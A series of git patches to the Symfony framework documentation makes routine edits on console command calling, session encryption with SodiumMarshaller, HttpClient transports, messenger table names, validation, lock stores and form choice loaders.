diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 1a9cce4e6c3..35d388965ad 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -8,13 +8,13 @@ or if you want to create a "meta" command that runs a bunch of other commands
 changed on the production servers: clearing the cache, generating Doctrine
 proxies, dumping web assets, ...).
 
-Use the :method:`Symfony\\Component\\Console\\Application::find` method to
-find the command you want to run by passing the command name. Then, create a
-new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the
-arguments and options you want to pass to the command.
+Use the :method:`Symfony\\Component\\Console\\Application::doRun`. Then, create
+a new :class:`Symfony\\Component\\Console\\Input\\ArrayInput` with the
+arguments and options you want to pass to the command. The command name must be
+the first argument.
 
-Eventually, calling the ``run()`` method actually runs the command and returns
-the returned code from the command (return value from command's ``execute()``
+Eventually, calling the ``doRun()`` method actually runs the command and returns
+the returned code from the command (return value from command ``execute()``
 method)::
 
     // ...
@@ -29,15 +29,14 @@ method)::
 
         protected function execute(InputInterface $input, OutputInterface $output): int
         {
-            $command = $this->getApplication()->find('demo:greet');
-
-            $arguments = [
+            $greetInput = new ArrayInput([
+                // the command name is passed as first argument
+                'command' => 'demo:greet',
                 'name'    => 'Fabien',
                 '--yell'  => true,
-            ];
+            ]);
 
-            $greetInput = new ArrayInput($arguments);
-            $returnCode = $command->run($greetInput, $output);
+            $returnCode = $this->getApplication()->doRun($greetInput, $output);
 
             // ...
         }
@@ -47,7 +46,16 @@ method)::
 
     If you want to suppress the output of the executed command, pass a
     :class:`Symfony\\Component\\Console\\Output\\NullOutput` as the second
-    argument to ``$command->run()``.
+    argument to ``$application->doRun()``.
+
+.. note::
+
+    Using ``doRun()`` instead of ``run()`` prevents autoexiting and allows to
+    return the exit code instead.
+
+    Also, using ``$this->getApplication()->doRun()`` instead of
+    ``$this->getApplication()->find('demo:greet')->run()`` will allow proper
+    events to be dispatched for that inner command as well.
 
 .. caution::
 

From 8c32fd00cfdf8cf02d63213a0cda7cb88db570c0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 10:51:03 +0200
Subject: [PATCH 5045/7107] Tweaks

---
 page_creation.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index c7cdb533c3a..24735ffbc85 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -89,7 +89,7 @@ Annotation Routes
 
 Instead of defining your route in YAML, Symfony also allows you to use *annotation*
 or *attribute* routes. Attributes are built-in in PHP starting from PHP 8. In earlier
-PHP versions you can use annotations. To do this, install the annotations package:
+PHP versions you can use annotations, which require installing this package:
 
 .. code-block:: terminal
 
@@ -108,9 +108,9 @@ You can now add your route directly *above* the controller:
 
         class LuckyController
         {
-        +   /**
-        +    * @Route("/lucky/number")
-        +    */
+            /**
+             * @Route("/lucky/number")
+             */
             public function number(): Response
             {
                 // this looks exactly the same
@@ -122,11 +122,11 @@ You can now add your route directly *above* the controller:
         // src/Controller/LuckyController.php
 
         // ...
-        + use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Routing\Annotation\Route;
 
         class LuckyController
         {
-        +   #[Route('/lucky/number')]
+            #[Route('/lucky/number')]
             public function number(): Response
             {
                 // this looks exactly the same

From 61fcb40c53d12328d2658747cfa05de4acf1a510 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 11:58:45 +0200
Subject: [PATCH 5046/7107] Tweaks

---
 reference/constraints/Callback.rst            | 11 ++++++-----
 reference/constraints/_payload-option.rst.inc |  2 ++
 2 files changed, 8 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/Callback.rst b/reference/constraints/Callback.rst
index ea870683cc1..2dbfa7657a5 100644
--- a/reference/constraints/Callback.rst
+++ b/reference/constraints/Callback.rst
@@ -304,12 +304,13 @@ callback method:
 * A closure.
 
 Concrete callbacks receive an :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the first argument and the :ref:`payload option <payload>` as the second argument.
+instance as the first argument and the :ref:`payload option <reference-constraints-payload>`
+as the second argument.
 
-Static or closure callbacks receive the validated object as the first argument
-, the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
-instance as the second argument and the :ref:`payload option <payload>` as the
-third argument.
+Static or closure callbacks receive the validated object as the first argument,
+the :class:`Symfony\\Component\\Validator\\Context\\ExecutionContextInterface`
+instance as the second argument and the :ref:`payload option <reference-constraints-payload>`
+as the third argument.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
diff --git a/reference/constraints/_payload-option.rst.inc b/reference/constraints/_payload-option.rst.inc
index 5121ba1ae51..a76c9a4a29d 100644
--- a/reference/constraints/_payload-option.rst.inc
+++ b/reference/constraints/_payload-option.rst.inc
@@ -1,3 +1,5 @@
+.. _reference-constraints-payload:
+
 ``payload``
 ~~~~~~~~~~~
 

From c01bfc0b8dbf8853a1875893d3e4a4622b851564 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Mon, 28 Aug 2023 12:54:58 +0200
Subject: [PATCH 5047/7107] [Console] Fix a typo after #18739

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index 7c7f4cfc5d1..cbe1c3816f1 100644
--- a/console.rst
+++ b/console.rst
@@ -610,7 +610,7 @@ tools capable of helping you with different tasks:
 * :doc:`/components/console/helpers/table`: displays tabular data as a table
 * :doc:`/components/console/helpers/debug_formatter`: provides functions to
   output debug information when running an external program
-* :doc:`/components/console/helpers/processhelper`: allows to run processes using ``DebugProcessHelper``
+* :doc:`/components/console/helpers/processhelper`: allows to run processes using ``DebugFormatterHelper``
 * :doc:`/components/console/helpers/cursor`: allows to manipulate the cursor in the terminal
 
 .. _`exit status`: https://en.wikipedia.org/wiki/Exit_status

From da9e3b7433a4bb51f7575ca18ac697f5f3dc5b2f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 13:35:33 +0200
Subject: [PATCH 5048/7107] Reword

---
 validation.rst | 19 ++++++-------------
 1 file changed, 6 insertions(+), 13 deletions(-)

diff --git a/validation.rst b/validation.rst
index 661bf14252e..8fc5d71a6f4 100644
--- a/validation.rst
+++ b/validation.rst
@@ -736,20 +736,13 @@ Validating Object With Inheritance
 When you validate an object that extends another class, the validator
 automatically validates constraints defined in the parent class as well.
 
-.. caution::
-
-    Note that overriding a property with others constraints in a child class
-    will not remove the constraints defined in the parent class on that same
-    property.
-    Instead, the constraints will be merged for that property.
-    This is related to Java Language Specification.
-
-.. tip::
+**The constraints defined in the parent properties will be applied to the child
+properties even if the child properties override those constraints**. Symfony
+will always merge the parent constraints for each property.
 
-    If you want to override constraints defined in the parent class, you should
-    define them in a different validation group instead and validate the object
-    with that group.
-    See :doc:`Validation Groups </validation/groups>` for more information.
+You can't change this behavior, but you can overcome it by defining the parent
+and the child contraints in different :doc:`validation groups </validation/groups>`
+and then select the appropriate group when validating each object.
 
 Debugging the Constraints
 -------------------------

From 951fc9b1783c0e87e3c5d39d7f1e6d9126686108 Mon Sep 17 00:00:00 2001
From: MWJeff <j.martins@mentalworks.fr>
Date: Fri, 11 Aug 2023 10:50:38 +0200
Subject: [PATCH 5049/7107] Prefer placing services before query parameters

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 12b2a44bf46..d5cff272241 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -536,7 +536,7 @@ and injected by the dependency injection container::
     class ProductController extends AbstractController
     {
         #[Route('/product/{id}', name: 'product_show')]
-        public function show(int $id, ProductRepository $productRepository): Response
+        public function show(ProductRepository $productRepository, int $id): Response
         {
             $product = $productRepository
                 ->find($id);

From f24201eb59a6c4994207f5d79a679f2b27a45d06 Mon Sep 17 00:00:00 2001
From: R1n0x <r1n0x-dev@proton.me>
Date: Fri, 11 Aug 2023 23:45:36 +0200
Subject: [PATCH 5050/7107] Update messenger.rst

Added explanation on how to set default messenger table name
---
 messenger.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6835e8dff11..625e15f22b0 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1445,6 +1445,14 @@ a table named ``messenger_messages``.
     The ability to automatically generate a migration for the ``messenger_messages``
     table was introduced in Symfony 5.1 and DoctrineBundle 2.1.
 
+If you would like to change the name of the default table you can pass it in the DSN
+settings by using the ``table_name`` option.
+
+.. code-block:: env
+
+    # .env
+    MESSENGER_TRANSPORT_DSN=doctrine://default?table_name=your_table_name
+
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.
 

From 24b9fa4f6487262ea2e2f375e687f4b3b5c3831d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 28 Aug 2023 15:51:23 +0200
Subject: [PATCH 5051/7107] Tweaks

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 625e15f22b0..b3840f77344 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1445,13 +1445,13 @@ a table named ``messenger_messages``.
     The ability to automatically generate a migration for the ``messenger_messages``
     table was introduced in Symfony 5.1 and DoctrineBundle 2.1.
 
-If you would like to change the name of the default table you can pass it in the DSN
-settings by using the ``table_name`` option.
+If you want to change the default table name, pass a custom table name in the
+DSN by using the ``table_name`` option:
 
 .. code-block:: env
 
     # .env
-    MESSENGER_TRANSPORT_DSN=doctrine://default?table_name=your_table_name
+    MESSENGER_TRANSPORT_DSN=doctrine://default?table_name=your_custom_table_name
 
 Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 :ref:`generate a migration <doctrine-creating-the-database-tables-schema>`.

From f2c55c30a60338f1354211c57c38a116787615ba Mon Sep 17 00:00:00 2001
From: timo002 <timo002@users.noreply.github.com>
Date: Mon, 28 Aug 2023 22:43:36 +0200
Subject: [PATCH 5052/7107] Update events.rst

Path where example code file is store updated. Remove 'App' directory.
---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 6b445ef74ea..411b83745c2 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -173,7 +173,7 @@ listener in the Symfony application by creating a new service for it and
 
     .. code-block:: php-attributes
 
-        // src/App/EventListener/SearchIndexer.php
+        // src/EventListener/SearchIndexer.php
         namespace App\EventListener;
 
         use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;

From 7f0df2b525d6ce0af0bc67eea5f9f7a14635185c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 29 Aug 2023 13:53:04 +0200
Subject: [PATCH 5053/7107] [HttpFoundation] Added MarshallingSessionHandler

---
 session.rst | 79 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 79 insertions(+)

diff --git a/session.rst b/session.rst
index 058c0984b8c..9327d75619e 100644
--- a/session.rst
+++ b/session.rst
@@ -1468,6 +1468,85 @@ library, but you can adapt it to any other library that you may be using::
         }
     }
 
+Another possibility to encrypt session data is to decorate the
+``session.marshaller`` service, which points out to
+:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MarshallingSessionHandler`.
+You can decorate this handler with a marshaller that uses encryption,
+like the :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`.
+
+First, you need to generate a secure key and add it to your :doc:`secret
+store </configuration/secrets>` as ``SESSION_DECRYPTION_FILE``:
+
+.. code-block:: terminal
+
+    $ php -r 'echo base64_encode(sodium_crypto_box_keypair());'
+
+Then, register the ``SodiumMarshaller`` service using this key:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+
+            # ...
+            Symfony\Component\Cache\Marshaller\SodiumMarshaller:
+                decorates: 'session.marshaller'
+                arguments:
+                    - ['%env(file:resolve:SESSION_DECRYPTION_FILE)%']
+                    - '@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd"
+        >
+            <services>
+                <service id="Symfony\Component\Cache\Marshaller\SodiumMarshaller" decorates="session.marshaller">
+                    <argument type="collection">
+                        <argument>env(file:resolve:SESSION_DECRYPTION_FILE)</argument>
+                    </argument>
+                    <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        use Symfony\Component\Cache\Marshaller\SodiumMarshaller;
+        use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+        // ...
+
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
+
+            // ...
+
+            $services->set(SodiumMarshaller::class)
+                ->decorate('session.marshaller')
+                ->args([
+                    [env('file:resolve:SESSION_DECRYPTION_FILE')],
+                    service(SodiumMarshaller::class.'.inner'),
+                ]);
+        };
+
+.. caution::
+
+    This will encrypt the values of the cache items, but not the cache keys. Be
+    careful not to leak sensitive data in the keys.
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`
+    and :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MarshallingSessionHandler`
+    classes were introduced in Symfony 5.1.
+
 Read-only Guest Sessions
 ~~~~~~~~~~~~~~~~~~~~~~~~
 

From e159fc1271db1d1a05575743d9d9e2637ecd1d95 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 29 Aug 2023 16:22:10 +0200
Subject: [PATCH 5054/7107] [HttpClient] make HttpClient::create() return an
 AmpHttpClient when amphp/http-client is found but curl is not or too old

---
 http_client.rst | 38 +++++++++++++++++++++++++++-----------
 1 file changed, 27 insertions(+), 11 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 399199f0557..131c3d4eecd 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -854,15 +854,28 @@ To leverage all these design benefits, the cURL extension is needed.
 Enabling cURL Support
 ~~~~~~~~~~~~~~~~~~~~~
 
-This component supports both the native PHP streams and cURL to make the HTTP
-requests. Although both are interchangeable and provide the same features,
-including concurrent requests, HTTP/2 is only supported when using cURL.
+This component supports the native PHP streams, ``amphp/http-client`` and cURL to
+make the HTTP requests. Although they are interchangeable and provide the
+same features, including concurrent requests, HTTP/2 is only supported when
+using cURL or ``amphp/http-client``.
+
+.. note::
+
+    To use the :class:`Symfony\\Component\\HttpClient\\AmpHttpClient`, the
+    `amphp/http-client`_ package must be installed.
+
+.. versionadded:: 5.1
+
+    Integration with ``amphp/http-client`` was introduced in Symfony 5.1.
 
 The :method:`Symfony\\Component\\HttpClient\\HttpClient::create` method
-selects the cURL transport if the `cURL PHP extension`_ is enabled and falls
-back to PHP streams otherwise. If you prefer to select the transport
-explicitly, use the following classes to create the client::
+selects the cURL transport if the `cURL PHP extension`_ is enabled. It falls
+back to ``AmpHttpClient`` if cURL couldn't be found or is too old. Finally, if
+``AmpHttpClient`` is not available, it falls back to PHP streams.
+If you prefer to select the transport explicitly, use the following classes
+to create the client::
 
+    use Symfony\Component\HttpClient\AmpHttpClient;
     use Symfony\Component\HttpClient\CurlHttpClient;
     use Symfony\Component\HttpClient\NativeHttpClient;
 
@@ -872,9 +885,12 @@ explicitly, use the following classes to create the client::
     // uses the cURL PHP extension
     $client = new CurlHttpClient();
 
+    // uses the client from the `amphp/http-client` package
+    $client = new AmpHttpClient();
+
 When using this component in a full-stack Symfony application, this behavior is
 not configurable and cURL will be used automatically if the cURL PHP extension
-is installed and enabled. Otherwise, the native PHP streams will be used.
+is installed and enabled, and will fall back as explained above.
 
 Configuring CurlHttpClient Options
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -928,7 +944,7 @@ HTTP/2 Support
 When requesting an ``https`` URL, HTTP/2 is enabled by default if one of the
 following tools is installed:
 
-* The `libcurl`_ package version 7.36 or higher;
+* The `libcurl`_ package version 7.36 or higher, used with PHP >= 7.2.17 / 7.3.4;
 * The `amphp/http-client`_ Packagist package version 4.2 or higher.
 
 .. versionadded:: 5.1
@@ -984,9 +1000,9 @@ To force HTTP/2 for ``http`` URLs, you need to enable it explicitly via the
 
         $client = HttpClient::create(['http_version' => '2.0']);
 
-Support for HTTP/2 PUSH works out of the box when libcurl >= 7.61 is used with
-PHP >= 7.2.17 / 7.3.4: pushed responses are put into a temporary cache and are
-used when a subsequent request is triggered for the corresponding URLs.
+Support for HTTP/2 PUSH works out of the box when using a compatible client:
+pushed responses are put into a temporary cache and are used when a
+subsequent request is triggered for the corresponding URLs.
 
 Processing Responses
 --------------------

From dbb7f8526b4c63b863dfa5a7a71b9e749fa7639c Mon Sep 17 00:00:00 2001
From: Simo Heinonen <simo@dudgeon.fi>
Date: Tue, 29 Aug 2023 18:00:41 +0300
Subject: [PATCH 5055/7107] Update lock.rst

Redis store doesn't support blocking so doesn't make sense to use it as an example
---
 components/lock.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index a856523baa7..f38b8d27e63 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -145,9 +145,9 @@ pass ``true`` as the argument of the ``acquire()`` method. This is called a
 lock is acquired::
 
     use Symfony\Component\Lock\LockFactory;
-    use Symfony\Component\Lock\Store\RedisStore;
+    use Symfony\Component\Lock\Store\FlockStore;
 
-    $store = new RedisStore(new \Predis\Client('tcp://localhost:6379'));
+    $store = new FlockStore('/var/stores');
     $factory = new LockFactory($store);
 
     $lock = $factory->createLock('pdf-creation');

From 6598347a7dd64e10741a26502c9275ac6bcfefbb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Aug 2023 17:41:05 +0200
Subject: [PATCH 5056/7107] Remove the versionadded directive

---
 session.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/session.rst b/session.rst
index 4419ecf1ae7..f8e1d367393 100644
--- a/session.rst
+++ b/session.rst
@@ -1657,12 +1657,6 @@ Then, register the ``SodiumMarshaller`` service using this key:
     This will encrypt the values of the cache items, but not the cache keys. Be
     careful not to leak sensitive data in the keys.
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`
-    and :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MarshallingSessionHandler`
-    classes were introduced in Symfony 5.1.
-
 Read-only Guest Sessions
 ~~~~~~~~~~~~~~~~~~~~~~~~
 

From f78344d78443f7c17d56d0791a70faa9ad9e05c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Aug 2023 17:56:57 +0200
Subject: [PATCH 5057/7107] Tweaks

---
 http_client.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 131c3d4eecd..8fe16087680 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -854,10 +854,10 @@ To leverage all these design benefits, the cURL extension is needed.
 Enabling cURL Support
 ~~~~~~~~~~~~~~~~~~~~~
 
-This component supports the native PHP streams, ``amphp/http-client`` and cURL to
-make the HTTP requests. Although they are interchangeable and provide the
-same features, including concurrent requests, HTTP/2 is only supported when
-using cURL or ``amphp/http-client``.
+This component can make HTTP requests using native PHP streams and the
+``amphp/http-client`` and cURL libraries. Although they are interchangeable and
+provide the same features, including concurrent requests, HTTP/2 is only supported
+when using cURL or ``amphp/http-client``.
 
 .. note::
 

From 97865534b323be3b11f4168c3ea7e601acc90004 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 29 Aug 2023 17:57:40 +0200
Subject: [PATCH 5058/7107] Remove a versionadded directive

---
 http_client.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index b2b313c0cff..ee3fc7ff30f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -985,10 +985,6 @@ when using cURL or ``amphp/http-client``.
     To use the :class:`Symfony\\Component\\HttpClient\\AmpHttpClient`, the
     `amphp/http-client`_ package must be installed.
 
-.. versionadded:: 5.1
-
-    Integration with ``amphp/http-client`` was introduced in Symfony 5.1.
-
 The :method:`Symfony\\Component\\HttpClient\\HttpClient::create` method
 selects the cURL transport if the `cURL PHP extension`_ is enabled. It falls
 back to ``AmpHttpClient`` if cURL couldn't be found or is too old. Finally, if

From 419c79d26db6bd6a6985bcd968c6060fa91c68d3 Mon Sep 17 00:00:00 2001
From: Marko Kaznovac <kaznovac@users.noreply.github.com>
Date: Tue, 29 Aug 2023 20:40:02 +0200
Subject: [PATCH 5059/7107] routing[https]: fix php configuration

fix using of nonexisting `$container->setParameter` method
---
 routing.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index 4406a27653e..964bd2f175e 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2523,8 +2523,10 @@ method) or globally with these configuration parameters:
     .. code-block:: php
 
         // config/services.php
-        $container->setParameter('router.request_context.scheme', 'https');
-        $container->setParameter('asset.request_context.secure', true);
+        $container->parameters()
+            ->set('router.request_context.scheme', 'https')
+            ->set('asset.request_context.secure', true)
+        ;
 
 Outside of console commands, use the ``schemes`` option to define the scheme of
 each route explicitly:

From dc67e902574d7ef40198226a36c718b349444a72 Mon Sep 17 00:00:00 2001
From: wuchen90 <chen90@hotmail.fr>
Date: Wed, 30 Aug 2023 00:57:42 +0200
Subject: [PATCH 5060/7107] Fix Serializer context configuration in YAML

---
 serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 7bf972e908e..32140aa1e6d 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -212,8 +212,8 @@ You can also specify the context on a per-property basis::
         App\Model\Person:
             attributes:
                 createdAt:
-                    context:
-                        datetime_format: 'Y-m-d'
+                    contexts:
+                        - { context: { datetime_format: 'Y-m-d' } }
 
     .. code-block:: xml
 

From 1a444774b8973fe9c820afe7b4386b341301c3c6 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 30 Aug 2023 08:46:17 +0200
Subject: [PATCH 5061/7107] [Workflow] Deprecate `GuardEvent::getContext()`
 method

---
 workflow.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index df2f4e67dff..40b4a4ae9e5 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -466,6 +466,12 @@ The context is accessible in all events except for the ``workflow.guard`` events
     // in an event listener (workflow.guard events)
     $context = $event->getContext(); // returns ['context']
 
+.. deprecated:: 6.4
+
+    Gathering events context is deprecated since Symfony 6.4 and the
+    :method:`Symfony\\Component\\Workflow\\Event::getContext` method will be
+    removed in Symfony 7.0.
+
 .. note::
 
     The leaving and entering events are triggered even for transitions that stay

From 52aee8185e943cbe759c62f39698f78d6c7af055 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 30 Aug 2023 11:38:11 +0200
Subject: [PATCH 5062/7107] [DependencyInjection] Allow loading and dumping
 tags with an attribute named "name"

---
 service_container/tags.rst | 39 ++++++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 87f354434c2..c6ed02067e7 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -515,6 +515,45 @@ To answer this, change the service declaration:
             ;
         };
 
+.. tip::
+
+    In XML and YAML format, you may provide the tag an attribute called ``name``.
+    When doing so, this is the syntax you should follow:
+
+    .. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/services.yaml
+            services:
+                MailerSmtpTransport:
+                    arguments: ['%mailer_host%']
+                    tags:
+                        - app.mail_transport: { name: 'arbitrary-value', alias: 'smtp' }
+
+        .. code-block:: xml
+
+            <!-- config/services.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+                <services>
+                    <service id="MailerSmtpTransport">
+                        <argument>%mailer_host%</argument>
+
+                        <tag name="arbitrary-value" alias="smtp">app.mail_transport</tag>
+                    </service>
+                </services>
+            </container>
+
+    .. versionadded:: 5.1
+
+        The possibility to add the ``name`` attribute to a tag in XML and YAML
+        formats was introduced in Symfony 5.1.
+
 .. tip::
 
     In YAML format, you may provide the tag as a simple string as long as

From 37c4df75a5bb7b001c9662d66921bc427bc48150 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 30 Aug 2023 13:36:19 +0200
Subject: [PATCH 5063/7107] [Form] Added `AbstractChoiceLoader`

---
 .../forms/types/options/choice_loader.rst.inc    | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 67062c56ada..23bb10c7449 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -26,6 +26,22 @@ This will cause the call of ``StaticClass::getConstants()`` to not happen if the
 request is redirected and if there is no pre set or submitted data. Otherwise
 the choice options would need to be resolved thus triggering the callback.
 
+If the ``CallbackChoiceLoader`` doesn't fit your needs and you want to create
+your own loader, you can either create a loader by implementing the
+:class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
+or by extending the
+:class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader`.
+This abstract class allows to save some boilerplate by implementing some
+of the :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
+methods. Thus, you'll only have to implement the
+:method:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader::loadChoices`
+method to have a fully functional choice loader.
+
+.. versionadded:: 5.1
+
+    The :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader`
+    class was introduced in Symfony 5.1.
+
 When you're defining a custom choice type that may be reused in many fields
 (like entries of a collection) or reused in multiple forms at once, you
 should use the :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList`

From 5582881850af3b25000754bbb7cbe3baea3ff2f9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Aug 2023 13:17:08 +0200
Subject: [PATCH 5064/7107] Tweak

---
 reference/forms/types/options/choice_loader.rst.inc | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 23bb10c7449..a906007c324 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -26,14 +26,13 @@ This will cause the call of ``StaticClass::getConstants()`` to not happen if the
 request is redirected and if there is no pre set or submitted data. Otherwise
 the choice options would need to be resolved thus triggering the callback.
 
-If the ``CallbackChoiceLoader`` doesn't fit your needs and you want to create
-your own loader, you can either create a loader by implementing the
+If the built-in ``CallbackChoiceLoader`` doesn't fit your needs, you can create
+your own loader by implementing the
 :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
 or by extending the
 :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader`.
-This abstract class allows to save some boilerplate by implementing some
-of the :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\ChoiceLoaderInterface`
-methods. Thus, you'll only have to implement the
+This abstract class saves you some boilerplate by implementing some methods of
+the interface so you'll only have to implement the
 :method:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader::loadChoices`
 method to have a fully functional choice loader.
 

From dbd01e5748a27457b457baf17b90a337ad165c5e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 31 Aug 2023 13:19:12 +0200
Subject: [PATCH 5065/7107] Remove a versionadded directive

---
 reference/forms/types/options/choice_loader.rst.inc | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/reference/forms/types/options/choice_loader.rst.inc b/reference/forms/types/options/choice_loader.rst.inc
index 641b557aa34..502ddb125c7 100644
--- a/reference/forms/types/options/choice_loader.rst.inc
+++ b/reference/forms/types/options/choice_loader.rst.inc
@@ -36,11 +36,6 @@ the interface so you'll only have to implement the
 :method:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader::loadChoices`
 method to have a fully functional choice loader.
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Form\\ChoiceList\\Loader\\AbstractChoiceLoader`
-    class was introduced in Symfony 5.1.
-
 When you're defining a custom choice type that may be reused in many fields
